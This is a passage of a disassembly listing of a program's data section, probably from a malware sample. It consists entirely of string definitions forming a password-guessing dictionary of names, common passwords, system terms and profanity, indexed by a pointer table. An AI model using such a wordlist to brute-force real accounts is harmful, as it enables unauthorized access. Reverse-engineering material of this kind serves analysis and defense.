aWithin		db 'within',0           ; DATA XREF: ___:00430870o
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: ___:0043086Co
aWisconsi	db 'wisconsi',0         ; DATA XREF: ___:00430868o
		align 4
aWired		db 'wired',0            ; DATA XREF: ___:00430864o
		align 10h
aWinston	db 'winston',0          ; DATA XREF: ___:00430860o
aWing		db 'wing',0             ; DATA XREF: ___:0043085Co
		align 10h
aWine		db 'wine',0             ; DATA XREF: ___:00430858o
		align 4
aWindows	db 'windows',0          ; DATA XREF: ___:00430854o
aWilma		db 'wilma',0            ; DATA XREF: ___:00430850o
		align 4
aWillie		db 'willie',0           ; DATA XREF: ___:0043084Co
		align 10h
aWilliams	db 'williams',0         ; DATA XREF: ___:00430848o
		align 4
aWilliam	db 'william',0          ; DATA XREF: ___:00430844o
aWill		db 'will',0             ; DATA XREF: ___:00430840o
		align 4
aWhore		db 'whore',0            ; DATA XREF: ___:0043083Co
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: ___:00430838o
		align 10h
aWhitney	db 'whitney',0          ; DATA XREF: ___:00430834o
aWhiting	db 'whiting',0          ; DATA XREF: ___:00430830o
aWhite		db 'white',0            ; DATA XREF: ___:0043082Co
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: ___:00430828o
		align 10h
aWhatnot	db 'whatnot',0          ; DATA XREF: ___:00430824o
aWhatever	db 'whatever',0         ; DATA XREF: ___:00430820o
		align 4
aWestern	db 'western',0          ; DATA XREF: ___:0043081Co
aWest		db 'west',0             ; DATA XREF: ___:00430818o
		align 4
aWerewolf	db 'werewolf',0         ; DATA XREF: ___:00430814o
		align 10h
aWendy		db 'wendy',0            ; DATA XREF: ___:00430810o
		align 4
aWendi		db 'wendi',0            ; DATA XREF: ___:0043080Co
		align 10h
aWell		db 'well',0             ; DATA XREF: ___:00430808o
		align 4
aWeenie		db 'weenie',0           ; DATA XREF: ___:00430804o
		align 10h
aWeed		db 'weed',0             ; DATA XREF: ___:00430800o
		align 4
aWednesda	db 'wednesda',0         ; DATA XREF: ___:004307FCo
		align 4
aWebpage	db 'webpage',0          ; DATA XREF: ___:004307F8o
aWave		db 'wave',0             ; DATA XREF: ___:004307F4o
		align 4
aWater		db 'water',0            ; DATA XREF: ___:004307F0o
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: ___:004307ECo
		align 4
aWasp		db 'wasp',0             ; DATA XREF: ___:004307E8o
		align 10h
aWarren		db 'warren',0           ; DATA XREF: ___:004307E4o
		align 4
aWarp		db 'warp',0             ; DATA XREF: ___:004307E0o
		align 10h
aWargames	db 'wargames',0         ; DATA XREF: ___:004307DCo
		align 4
aWarfare	db 'warfare',0          ; DATA XREF: ___:004307D8o
aWarez		db 'warez',0            ; DATA XREF: ___:004307D4o
		align 4
aWard		db 'ward',0             ; DATA XREF: ___:004307D0o
		align 4
aWaco		db 'waco',0             ; DATA XREF: ___:004307CCo
		align 4
aVodka		db 'vodka',0            ; DATA XREF: ___:004307C8o
		align 4
aVisualba	db 'visualba',0         ; DATA XREF: ___:004307C4o
		align 10h
aVisual		db 'visual',0           ; DATA XREF: ___:004307C0o
		align 4
aVisitor	db 'visitor',0          ; DATA XREF: ___:004307BCo
aVirus		db 'virus',0            ; DATA XREF: ___:004307B8o
		align 4
aVirginia	db 'virginia',0         ; DATA XREF: ___:004307B4o
		align 4
aVirgin		db 'virgin',0           ; DATA XREF: ___:004307B0o
		align 4
aVillage	db 'village',0          ; DATA XREF: ___:004307ACo
aVideogam	db 'videogam',0         ; DATA XREF: ___:004307A8o
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_40F6F1:loc_413F12o
					; ___:004307A4o
		align 4
aVictor		db 'victor',0           ; DATA XREF: ___:004307A0o
		align 10h
aVicky		db 'vicky',0            ; DATA XREF: ___:0043079Co
		align 4
aVertigo	db 'vertigo',0          ; DATA XREF: ___:00430798o
aVeronica	db 'veronica',0         ; DATA XREF: ___:00430794o
		align 4
aVenus		db 'venus',0            ; DATA XREF: ___:00430790o
		align 4
aVasant		db 'vasant',0           ; DATA XREF: ___:0043078Co
		align 4
aVampire	db 'vampire',0          ; DATA XREF: ___:00430788o
aValerie	db 'valerie',0          ; DATA XREF: ___:00430784o
aVagina		db 'vagina',0           ; DATA XREF: ___:00430780o
		align 4
aUucp		db 'uucp',0             ; DATA XREF: ___:0043077Co
		align 4
aUtility	db 'utility',0          ; DATA XREF: ___:00430778o
aUtil		db 'util',0             ; DATA XREF: ___:00430774o
		align 4
aUsmc		db 'usmc',0             ; DATA XREF: ___:00430770o
		align 4
aUsername	db 'username',0         ; DATA XREF: ___:0043076Co
		align 10h
aUsermane	db 'usermane',0         ; DATA XREF: ___:00430768o
		align 4
aUsenet		db 'usenet',0           ; DATA XREF: ___:00430764o
		align 4
aUrsula		db 'ursula',0           ; DATA XREF: ___:00430760o
		align 4
aUrchin		db 'urchin',0           ; DATA XREF: ___:0043075Co
		align 4
aUranus		db 'uranus',0           ; DATA XREF: ___:00430758o
		align 4
aUpload		db 'upload',0           ; DATA XREF: ___:00430754o
		align 4
aUnlock		db 'unlock',0           ; DATA XREF: ___:00430750o
		align 4
aUnknown_1	db 'unknown',0          ; DATA XREF: ___:0043074Co
aUniversi	db 'universi',0         ; DATA XREF: ___:00430748o
		align 10h
aUniverse	db 'universe',0         ; DATA XREF: ___:00430744o
		align 4
aUniversa	db 'universa',0         ; DATA XREF: ___:00430740o
		align 4
aUniform	db 'uniform',0          ; DATA XREF: ___:0043073Co
aUnicorn	db 'unicorn',0          ; DATA XREF: ___:00430738o
aUnhappy	db 'unhappy',0          ; DATA XREF: ___:00430734o
aUndo		db 'undo',0             ; DATA XREF: ___:00430730o
		align 4
aUncle		db 'uncle',0            ; DATA XREF: ___:0043072Co
		align 10h
aUmesh		db 'umesh',0            ; DATA XREF: ___:00430728o
		align 4
aUgly		db 'ugly',0             ; DATA XREF: ___:00430724o
		align 10h
aTuttle		db 'tuttle',0           ; DATA XREF: ___:00430720o
		align 4
aTurn		db 'turn',0             ; DATA XREF: ___:0043071Co
		align 10h
aTuesday	db 'tuesday',0          ; DATA XREF: ___:00430718o
aTubas		db 'tubas',0            ; DATA XREF: ___:00430714o
		align 10h
aTruth		db 'truth',0            ; DATA XREF: ___:00430710o
		align 4
aTrue		db 'true',0             ; DATA XREF: ___:0043070Co
		align 10h
aTron		db 'tron',0             ; DATA XREF: ___:00430708o
		align 4
aTrombone	db 'trombone',0         ; DATA XREF: ___:00430704o
		align 4
aTrojan		db 'trojan',0           ; DATA XREF: ___:00430700o
		align 4
aTrivial	db 'trivial',0          ; DATA XREF: ___:004306FCo
aTrisha		db 'trisha',0           ; DATA XREF: ___:004306F8o
		align 4
aTrek		db 'trek',0             ; DATA XREF: ___:004306F4o
		align 4
aTree		db 'tree',0             ; DATA XREF: ___:004306F0o
		align 4
aTrapdoor	db 'trapdoor',0         ; DATA XREF: ___:004306ECo
		align 4
aTrap		db 'trap',0             ; DATA XREF: ___:004306E8o
		align 10h
aTransfer	db 'transfer',0         ; DATA XREF: ___:004306E4o
		align 4
aTrails		db 'trails',0           ; DATA XREF: ___:004306E0o
		align 4
aTracy		db 'tracy',0            ; DATA XREF: ___:004306DCo
		align 4
aTracie		db 'tracie',0           ; DATA XREF: ___:004306D8o
		align 4
aTraci		db 'traci',0            ; DATA XREF: ___:004306D4o
		align 4
aToyota		db 'toyota',0           ; DATA XREF: ___:004306D0o
		align 4
aToxic		db 'toxic',0            ; DATA XREF: ___:004306CCo
		align 4
aTortoise	db 'tortoise',0         ; DATA XREF: ___:004306C8o
		align 4
aTopograp	db 'topograp',0         ; DATA XREF: ___:004306C4o
		align 4
aTomato		db 'tomato',0           ; DATA XREF: ___:004306C0o
		align 4
aTokenrin	db 'tokenrin',0         ; DATA XREF: ___:004306BCo
		align 4
aToken		db 'token',0            ; DATA XREF: ___:004306B8o
		align 10h
aToggle		db 'toggle',0           ; DATA XREF: ___:004306B4o
		align 4
aToad		db 'toad',0             ; DATA XREF: ___:004306B0o
		align 10h
aTits		db 'tits',0             ; DATA XREF: ___:004306ACo
		align 4
aTina		db 'tina',0             ; DATA XREF: ___:004306A8o
		align 10h
aTime		db 'time',0             ; DATA XREF: ___:004306A4o
		align 4
aTiger		db 'tiger',0            ; DATA XREF: ___:004306A0o
		align 10h
aTiffany	db 'tiffany',0          ; DATA XREF: ___:0043069Co
aThursday	db 'thursday',0         ; DATA XREF: ___:00430698o
		align 4
aThin		db 'thin',0             ; DATA XREF: ___:00430694o
		align 4
aTheresa	db 'theresa',0          ; DATA XREF: ___:00430690o
aThailand	db 'thailand',0         ; DATA XREF: ___:0043068Co
		align 10h
aText		db 'text',0             ; DATA XREF: ___:00430688o
		align 4
aTetris		db 'tetris',0           ; DATA XREF: ___:00430684o
		align 10h
aTess		db 'tess',0             ; DATA XREF: ___:00430680o
		align 4
aTerminat	db 'terminat',0         ; DATA XREF: ___:0043067Co
		align 4
aTerminal	db 'terminal',0         ; DATA XREF: ___:00430678o
		align 10h
aTera		db 'tera',0             ; DATA XREF: ___:00430674o
		align 4
aTennis		db 'tennis',0           ; DATA XREF: ___:00430670o
		align 10h
aTemptati	db 'temptati',0         ; DATA XREF: ___:0043066Co
		align 4
aTelnet		db 'telnet',0           ; DATA XREF: ___:00430668o
		align 4
aTelephon	db 'telephon',0         ; DATA XREF: ___:00430664o
		align 10h
aTeenage	db 'teenage',0          ; DATA XREF: ___:00430660o
aTeen		db 'teen',0             ; DATA XREF: ___:0043065Co
		align 10h
aTech		db 'tech',0             ; DATA XREF: ___:00430658o
		align 4
aTears		db 'tears',0            ; DATA XREF: ___:00430654o
		align 10h
aTeapot		db 'teapot',0           ; DATA XREF: ___:00430650o
		align 4
aTeam		db 'team',0             ; DATA XREF: ___:0043064Co
		align 10h
aTaylor		db 'taylor',0           ; DATA XREF: ___:00430644o
		align 4
aTarragon	db 'tarragon',0         ; DATA XREF: ___:00430640o
		align 4
aTarget		db 'target',0           ; DATA XREF: ___:0043063Co
		align 4
aTara		db 'tara',0             ; DATA XREF: ___:00430638o
		align 4
aTape		db 'tape',0             ; DATA XREF: ___:00430634o
		align 4
aTango		db 'tango',0            ; DATA XREF: ___:00430630o
		align 4
aTangerin	db 'tangerin',0         ; DATA XREF: ___:0043062Co
		align 10h
aTammy		db 'tammy',0            ; DATA XREF: ___:00430628o
		align 4
aTamie		db 'tamie',0            ; DATA XREF: ___:00430624o
		align 10h
aTami		db 'tami',0             ; DATA XREF: ___:00430620o
		align 4
aTamara		db 'tamara',0           ; DATA XREF: ___:0043061Co
		align 10h
aTall		db 'tall',0             ; DATA XREF: ___:00430618o
		align 4
aTalk		db 'talk',0             ; DATA XREF: ___:00430614o
		align 10h
aTabasco	db 'tabasco',0          ; DATA XREF: ___:00430610o
aSysop		db 'sysop',0            ; DATA XREF: ___:0043060Co
		align 10h
aSysadmin	db 'sysadmin',0         ; DATA XREF: ___:00430608o
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: ___:00430604o
		align 4
aSybil		db 'sybil',0            ; DATA XREF: ___:00430600o
		align 10h
aSword		db 'sword',0            ; DATA XREF: ___:004305FCo
		align 4
aSwitch		db 'switch',0           ; DATA XREF: ___:004305F8o
		align 10h
aSweat		db 'sweat',0            ; DATA XREF: ___:004305F4o
		align 4
aSwearer	db 'swearer',0          ; DATA XREF: ___:004305F0o
aSuzie		db 'suzie',0            ; DATA XREF: ___:004305ECo
		align 4
aSuzanne	db 'suzanne',0          ; DATA XREF: ___:004305E8o
aSusie		db 'susie',0            ; DATA XREF: ___:004305E4o
		align 4
aSusanne	db 'susanne',0          ; DATA XREF: ___:004305E0o
aSusan		db 'susan',0            ; DATA XREF: ___:004305DCo
		align 4
aSurfing	db 'surfing',0          ; DATA XREF: ___:004305D8o
aSurfer		db 'surfer',0           ; DATA XREF: ___:004305D4o
		align 4
aSupporte	db 'supporte',0         ; DATA XREF: ___:004305D0o
		align 4
aSupport	db 'support',0          ; DATA XREF: ___:004305CCo
aSupervis	db 'supervis',0         ; DATA XREF: ___:004305C8o
		align 4
aSuperuse	db 'superuse',0         ; DATA XREF: ___:004305C4o
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: ___:004305C0o
		align 10h
aSuperson	db 'superson',0         ; DATA XREF: ___:004305BCo
		align 4
aSuperman	db 'superman',0         ; DATA XREF: ___:004305B8o
		align 4
aSunday		db 'sunday',0           ; DATA XREF: ___:004305B4o
		align 10h
aSummer		db 'summer',0           ; DATA XREF: ___:004305B0o
		align 4
aSucks		db 'sucks',0            ; DATA XREF: ___:004305ACo
		align 10h
aSuckmydi	db 'suckmydi',0         ; DATA XREF: ___:004305A8o
		align 4
aSuck		db 'suck',0             ; DATA XREF: ___:004305A4o
		align 4
aSuccess	db 'success',0          ; DATA XREF: ___:004305A0o
aSubway		db 'subway',0           ; DATA XREF: ___:0043059Co
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: ___:00430598o
		align 10h
aStuttgar	db 'stuttgar',0         ; DATA XREF: ___:00430594o
		align 4
aStrip		db 'strip',0            ; DATA XREF: ___:0043058Co
		align 4
aString		db 'string',0           ; DATA XREF: ___:00430588o
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: ___:00430584o
		align 4
aStratfor	db 'stratfor',0         ; DATA XREF: ___:00430580o
		align 4
aStrangle	db 'strangle',0         ; DATA XREF: ___:0043057Co
		align 10h
aStrange	db 'strange',0          ; DATA XREF: ___:00430578o
aStones		db 'stones',0           ; DATA XREF: ___:00430574o
		align 10h
aStoned		db 'stoned',0           ; DATA XREF: ___:00430570o
		align 4
aStoneage	db 'stoneage',0         ; DATA XREF: ___:0043056Co
		align 4
aSteve		db 'steve',0            ; DATA XREF: ___:00430568o
		align 4
aStereo		db 'stereo',0           ; DATA XREF: ___:00430564o
		align 4
aStephani	db 'stephani',0         ; DATA XREF: ___:00430560o
		align 10h
aSteph		db 'steph',0            ; DATA XREF: ___:0043055Co
		align 4
aSteel		db 'steel',0            ; DATA XREF: ___:00430558o
		align 10h
aSteal		db 'steal',0            ; DATA XREF: ___:00430554o
		align 4
aSteak		db 'steak',0            ; DATA XREF: ___:00430550o
		align 10h
aStarwars	db 'starwars',0         ; DATA XREF: ___:0043054Co
		align 4
aStartup	db 'startup',0          ; DATA XREF: ___:00430548o
aStartrek	db 'startrek',0         ; DATA XREF: ___:00430544o
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_40F6F1+2103o
					; ___:00430540o
		align 4
aStarship	db 'starship',0         ; DATA XREF: ___:0043053Co
		align 4
aStar		db 'star',0             ; DATA XREF: ___:00430538o
		align 4
aStacy		db 'stacy',0            ; DATA XREF: ___:00430534o
		align 4
aStacie		db 'stacie',0           ; DATA XREF: ___:00430530o
		align 4
aStaci		db 'staci',0            ; DATA XREF: ___:0043052Co
		align 4
aStacey		db 'stacey',0           ; DATA XREF: ___:00430528o
		align 4
aSr71		db 'sr71',0             ; DATA XREF: ___:00430524o
		align 4
aSquires	db 'squires',0          ; DATA XREF: ___:00430520o
aSpunk		db 'spunk',0            ; DATA XREF: ___:0043051Co
		align 4
aSpringer	db 'springer',0         ; DATA XREF: ___:00430518o
		align 10h
aSpring		db 'spring',0           ; DATA XREF: ___:00430514o
		align 4
aSpred		db 'spred',0            ; DATA XREF: ___:00430510o
		align 10h
aSpit		db 'spit',0             ; DATA XREF: ___:0043050Co
		align 4
aSpiderma	db 'spiderma',0         ; DATA XREF: ___:00430508o
		align 4
aSpider		db 'spider',0           ; DATA XREF: ___:00430504o
		align 4
aSpice		db 'spice',0            ; DATA XREF: ___:00430500o
		align 4
aSpell		db 'spell',0            ; DATA XREF: ___:004304FCo
		align 4
aSpear		db 'spear',0            ; DATA XREF: ___:004304F8o
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: ___:004304F4o
		align 10h
aSpaceshi	db 'spaceshi',0         ; DATA XREF: ___:004304F0o
		align 4
aSouth		db 'south',0            ; DATA XREF: ___:004304ECo
		align 4
aSource		db 'source',0           ; DATA XREF: ___:004304E8o
		align 4
aSossina	db 'sossina',0          ; DATA XREF: ___:004304E4o
aSonya		db 'sonya',0            ; DATA XREF: ___:004304E0o
		align 4
aSonic		db 'sonic',0            ; DATA XREF: ___:004304DCo
		align 4
aSonia		db 'sonia',0            ; DATA XREF: ___:004304D8o
		align 4
aSondra		db 'sondra',0           ; DATA XREF: ___:004304D4o
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: ___:004304D0o
		align 10h
aSoftware	db 'software',0         ; DATA XREF: ___:004304CCo
		align 4
aSoft		db 'soft',0             ; DATA XREF: ___:004304C8o
		align 4
aSodomy		db 'sodomy',0           ; DATA XREF: ___:004304C4o
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: ___:004304C0o
		align 4
aSocial		db 'social',0           ; DATA XREF: ___:004304BCo
		align 10h
aSoap		db 'soap',0             ; DATA XREF: ___:004304B8o
		align 4
aSnoopy		db 'snoopy',0           ; DATA XREF: ___:004304B4o
		align 10h
aSnatch		db 'snatch',0           ; DATA XREF: ___:004304B0o
		align 4
aSnake		db 'snake',0            ; DATA XREF: ___:004304ACo
		align 10h
aSnafu		db 'snafu',0            ; DATA XREF: ___:004304A8o
		align 4
aSnach		db 'snach',0            ; DATA XREF: ___:004304A4o
		align 10h
aSmut		db 'smut',0             ; DATA XREF: ___:004304A0o
		align 4
aSmtp		db 'smtp',0             ; DATA XREF: ___:0043049Co
		align 10h
aSmother	db 'smother',0          ; DATA XREF: ___:00430498o
aSmooch		db 'smooch',0           ; DATA XREF: ___:00430494o
		align 10h
aSmiles		db 'smiles',0           ; DATA XREF: ___:00430490o
		align 4
aSmile		db 'smile',0            ; DATA XREF: ___:0043048Co
		align 10h
aSmart		db 'smart',0            ; DATA XREF: ___:00430488o
		align 4
aSmall		db 'small',0            ; DATA XREF: ___:00430484o
		align 10h
aSlut		db 'slut',0             ; DATA XREF: ___:00430480o
		align 4
aSlow		db 'slow',0             ; DATA XREF: ___:0043047Co
		align 10h
aSliders	db 'sliders',0          ; DATA XREF: ___:00430478o
aSlick		db 'slick',0            ; DATA XREF: ___:00430474o
		align 10h
aSlave		db 'slave',0            ; DATA XREF: ___:00430470o
		align 4
aSkull		db 'skull',0            ; DATA XREF: ___:0043046Co
		align 10h
aSite		db 'site',0             ; DATA XREF: ___:00430468o
		align 4
aSingle		db 'single',0           ; DATA XREF: ___:00430464o
		align 10h
aSinger		db 'singer',0           ; DATA XREF: ___:00430460o
		align 4
aSimulati	db 'simulati',0         ; DATA XREF: ___:0043045Co
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: ___:00430458o
		align 10h
aSimple		db 'simple',0           ; DATA XREF: ___:00430454o
		align 4
aSimon		db 'simon',0            ; DATA XREF: ___:00430450o
		align 10h
aSimcity	db 'simcity',0          ; DATA XREF: ___:0043044Co
aSilver		db 'silver',0           ; DATA XREF: ___:00430448o
		align 10h
aSignatur	db 'signatur',0         ; DATA XREF: ___:00430444o
		align 4
aSierra		db 'sierra',0           ; DATA XREF: ___:00430440o
		align 4
aSick		db 'sick',0             ; DATA XREF: ___:0043043Co
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: ___:00430438o
aShort		db 'short',0            ; DATA XREF: ___:00430434o
		align 4
aShivers	db 'shivers',0          ; DATA XREF: ___:00430430o
aShiva		db 'shiva',0            ; DATA XREF: ___:0043042Co
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: ___:00430428o
aShit		db 'shit',0             ; DATA XREF: ___:00430424o
		align 4
aShirley	db 'shirley',0          ; DATA XREF: ___:00430420o
aShift		db 'shift',0            ; DATA XREF: ___:0043041Co
		align 4
aSherri		db 'sherri',0           ; DATA XREF: ___:00430418o
		align 4
aShell		db 'shell',0            ; DATA XREF: ___:00430414o
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: ___:00430410o
aSheffiel	db 'sheffiel',0         ; DATA XREF: ___:0043040Co
		align 10h
aSharon		db 'sharon',0           ; DATA XREF: ___:00430408o
		align 4
aSharks		db 'sharks',0           ; DATA XREF: ___:00430404o
		align 10h
aShark		db 'shark',0            ; DATA XREF: ___:00430400o
		align 4
aSharc		db 'sharc',0            ; DATA XREF: ___:004303FCo
		align 10h
aShannon	db 'shannon',0          ; DATA XREF: ___:004303F8o
aSexy		db 'sexy',0             ; DATA XREF: ___:004303F4o
		align 10h
aSesame		db 'sesame',0           ; DATA XREF: ___:004303F0o
		align 4
aService	db 'service',0          ; DATA XREF: ___:004303ECo
aSerial_0	db 'serial',0           ; DATA XREF: ___:004303E8o
		align 4
aSerenity	db 'serenity',0         ; DATA XREF: ___:004303E4o
		align 4
aSentry		db 'sentry',0           ; DATA XREF: ___:004303E0o
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: ___:004303DCo
		align 4
aSensor		db 'sensor',0           ; DATA XREF: ___:004303D8o
		align 10h
aSega		db 'sega',0             ; DATA XREF: ___:004303D4o
		align 4
aSeed		db 'seed',0             ; DATA XREF: ___:004303D0o
		align 10h
aSecurity	db 'security',0         ; DATA XREF: ___:004303CCo
		align 4
aSearch		db 'search',0           ; DATA XREF: ___:004303C8o
		align 4
aScout		db 'scout',0            ; DATA XREF: ___:004303C4o
		align 4
aScotty		db 'scotty',0           ; DATA XREF: ___:004303C0o
		align 4
aScott		db 'scott',0            ; DATA XREF: ___:004303BCo
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: ___:004303B8o
		align 4
aScifi		db 'scifi',0            ; DATA XREF: ___:004303B4o
		align 10h
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: ___:004303B0o
aSchool		db 'school',0           ; DATA XREF: ___:004303ACo
		align 4
aScheme		db 'scheme',0           ; DATA XREF: ___:004303A8o
		align 4
aScamper	db 'scamper',0          ; DATA XREF: ___:004303A4o
aSaxon		db 'saxon',0            ; DATA XREF: ___:004303A0o
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: ___:0043039Co
		align 4
aSaturday	db 'saturday',0         ; DATA XREF: ___:00430398o
		align 10h
aSarah		db 'sarah',0            ; DATA XREF: ___:00430394o
		align 4
aSara		db 'sara',0             ; DATA XREF: ___:00430390o
		align 10h
aSandy		db 'sandy',0            ; DATA XREF: ___:0043038Co
		align 4
aSandra		db 'sandra',0           ; DATA XREF: ___:00430388o
		align 10h
aSample		db 'sample',0           ; DATA XREF: ___:00430384o
		align 4
aSamantha	db 'samantha',0         ; DATA XREF: ___:00430380o
		align 4
aSalt		db 'salt',0             ; DATA XREF: ___:0043037Co
		align 4
aSale		db 'sale',0             ; DATA XREF: ___:00430378o
		align 4
aSalami		db 'salami',0           ; DATA XREF: ___:00430374o
		align 4
aSafe		db 'safe',0             ; DATA XREF: ___:00430370o
		align 4
aRuth		db 'ruth',0             ; DATA XREF: ___:0043036Co
		align 4
aRush		db 'rush',0             ; DATA XREF: ___:00430368o
		align 4
aRunning_0	db 'running',0          ; DATA XREF: ___:00430364o
aRules		db 'rules',0            ; DATA XREF: ___:00430360o
		align 4
aRude		db 'rude',0             ; DATA XREF: ___:0043035Co
		align 4
aRuby		db 'ruby',0             ; DATA XREF: ___:00430358o
		align 4
aRuben		db 'ruben',0            ; DATA XREF: ___:00430354o
		align 4
aRubber		db 'rubber',0           ; DATA XREF: ___:00430350o
		align 4
aRough		db 'rough',0            ; DATA XREF: ___:0043034Co
		align 4
aRoses		db 'roses',0            ; DATA XREF: ___:00430348o
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: ___:00430344o
		align 10h
aRosebud	db 'rosebud',0          ; DATA XREF: ___:00430340o
aRose		db 'rose',0             ; DATA XREF: ___:0043033Co
		align 10h
aRonald		db 'ronald',0           ; DATA XREF: ___:00430338o
		align 4
aRomulan	db 'romulan',0          ; DATA XREF: ___:00430334o
aRomeo		db 'romeo',0            ; DATA XREF: ___:00430330o
		align 4
aRomano		db 'romano',0           ; DATA XREF: ___:0043032Co
		align 10h
aRolex		db 'rolex',0            ; DATA XREF: ___:00430328o
		align 4
aRodent		db 'rodent',0           ; DATA XREF: ___:00430324o
		align 10h
aRockyhor	db 'rockyhor',0         ; DATA XREF: ___:00430320o
		align 4
aRocky		db 'rocky',0            ; DATA XREF: ___:0043031Co
		align 4
aRock		db 'rock',0             ; DATA XREF: ___:00430318o
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: ___:00430314o
		align 4
aRochelle	db 'rochelle',0         ; DATA XREF: ___:00430310o
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: ___:0043030Co
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: ___:00430308o
		align 4
aRobot		db 'robot',0            ; DATA XREF: ___:00430304o
		align 10h
aRobin		db 'robin',0            ; DATA XREF: ___:00430300o
		align 4
aRobert		db 'robert',0           ; DATA XREF: ___:004302FCo
		align 10h
aRoach		db 'roach',0            ; DATA XREF: ___:004302F8o
		align 4
aRisc		db 'risc',0             ; DATA XREF: ___:004302F4o
		align 10h
aRipple		db 'ripple',0           ; DATA XREF: ___:004302F0o
		align 4
aRiot		db 'riot',0             ; DATA XREF: ___:004302ECo
		align 10h
aRing		db 'ring',0             ; DATA XREF: ___:004302E8o
		align 4
aRightwin	db 'rightwin',0         ; DATA XREF: ___:004302E4o
		align 4
aRight		db 'right',0            ; DATA XREF: ___:004302E0o
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: ___:004302DCo
		align 4
aRick		db 'rick',0             ; DATA XREF: ___:004302D8o
		align 10h
aRich		db 'rich',0             ; DATA XREF: ___:004302D4o
		align 4
aRhino		db 'rhino',0            ; DATA XREF: ___:004302D0o
		align 10h
aReveal		db 'reveal',0           ; DATA XREF: ___:004302CCo
		align 4
aResistan	db 'resistan',0         ; DATA XREF: ___:004302C8o
		align 4
aRepublic	db 'republic',0         ; DATA XREF: ___:004302C4o
		align 10h
aReport		db 'report',0           ; DATA XREF: ___:004302C0o
		align 4
aRent		db 'rent',0             ; DATA XREF: ___:004302BCo
		align 10h
aReno		db 'reno',0             ; DATA XREF: ___:004302B8o
		align 4
aRenee		db 'renee',0            ; DATA XREF: ___:004302B4o
		align 10h
aRemote		db 'remote',0           ; DATA XREF: ___:004302B0o
		align 4
aRelease	db 'release',0          ; DATA XREF: ___:004302ACo
aRegional	db 'regional',0         ; DATA XREF: ___:004302A8o
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: ___:004302A4o
		align 4
aRedhead	db 'redhead',0          ; DATA XREF: ___:004302A0o
aReddawn	db 'reddawn',0          ; DATA XREF: ___:0043029Co
aRecord		db 'record',0           ; DATA XREF: ___:00430298o
		align 10h
aRebel		db 'rebel',0            ; DATA XREF: ___:00430294o
		align 4
aRebecca	db 'rebecca',0          ; DATA XREF: ___:00430290o
aRebal		db 'rebal',0            ; DATA XREF: ___:0043028Co
		align 4
aReaper		db 'reaper',0           ; DATA XREF: ___:00430288o
		align 10h
aReam		db 'ream',0             ; DATA XREF: ___:00430284o
		align 4
aReally		db 'really',0           ; DATA XREF: ___:00430280o
		align 10h
aReality	db 'reality',0          ; DATA XREF: ___:0043027Co
aReagan		db 'reagan',0           ; DATA XREF: ___:00430278o
		align 10h
aRazor		db 'razor',0            ; DATA XREF: ___:00430274o
		align 4
aRascal		db 'rascal',0           ; DATA XREF: ___:00430270o
		align 10h
aRape		db 'rape',0             ; DATA XREF: ___:0043026Co
		align 4
aRaleigh	db 'raleigh',0          ; DATA XREF: ___:00430264o
aRaindrop	db 'raindrop',0         ; DATA XREF: ___:00430260o
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: ___:0043025Co
aRain		db 'rain',0             ; DATA XREF: ___:00430258o
		align 4
aRaid		db 'raid',0             ; DATA XREF: ___:00430254o
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: ___:00430250o
		align 10h
aRachelle	db 'rachelle',0         ; DATA XREF: ___:0043024Co
		align 4
aRachel		db 'rachel',0           ; DATA XREF: ___:00430248o
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: ___:00430244o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00430240o
		align 4
aQwert		db 'qwert',0            ; DATA XREF: ___:0043023Co
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: ___:00430238o
		align 4
aPussy		db 'pussy',0            ; DATA XREF: ___:00430234o
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: ___:00430230o
		align 4
aPunk		db 'punk',0             ; DATA XREF: ___:0043022Co
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: ___:00430228o
		align 4
aPuneet		db 'puneet',0           ; DATA XREF: ___:00430224o
		align 10h
aPumpkin	db 'pumpkin',0          ; DATA XREF: ___:00430220o
aPuke		db 'puke',0             ; DATA XREF: ___:0043021Co
		align 10h
aPuck		db 'puck',0             ; DATA XREF: ___:00430218o
		align 4
aPublic		db 'public',0           ; DATA XREF: ___:00430214o
		align 10h
aPsychopa	db 'psychopa',0         ; DATA XREF: ___:00430210o
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: ___:0043020Co
		align 4
aProtozoa	db 'protozoa',0         ; DATA XREF: ___:00430208o
		align 10h
aProtect	db 'protect',0          ; DATA XREF: ___:00430204o
aPrompt		db 'prompt',0           ; DATA XREF: ___:00430200o
		align 10h
aProgram	db 'program',0          ; DATA XREF: ___:004301FCo
aProfile	db 'profile',0          ; DATA XREF: ___:004301F8o
aProfesso	db 'professo',0         ; DATA XREF: ___:004301F4o
		align 4
aProcesso	db 'processo',0         ; DATA XREF: ___:004301F0o
		align 4
aProceed	db 'proceed',0          ; DATA XREF: ___:004301ECo
aPrivs		db 'privs',0            ; DATA XREF: ___:004301E8o
		align 4
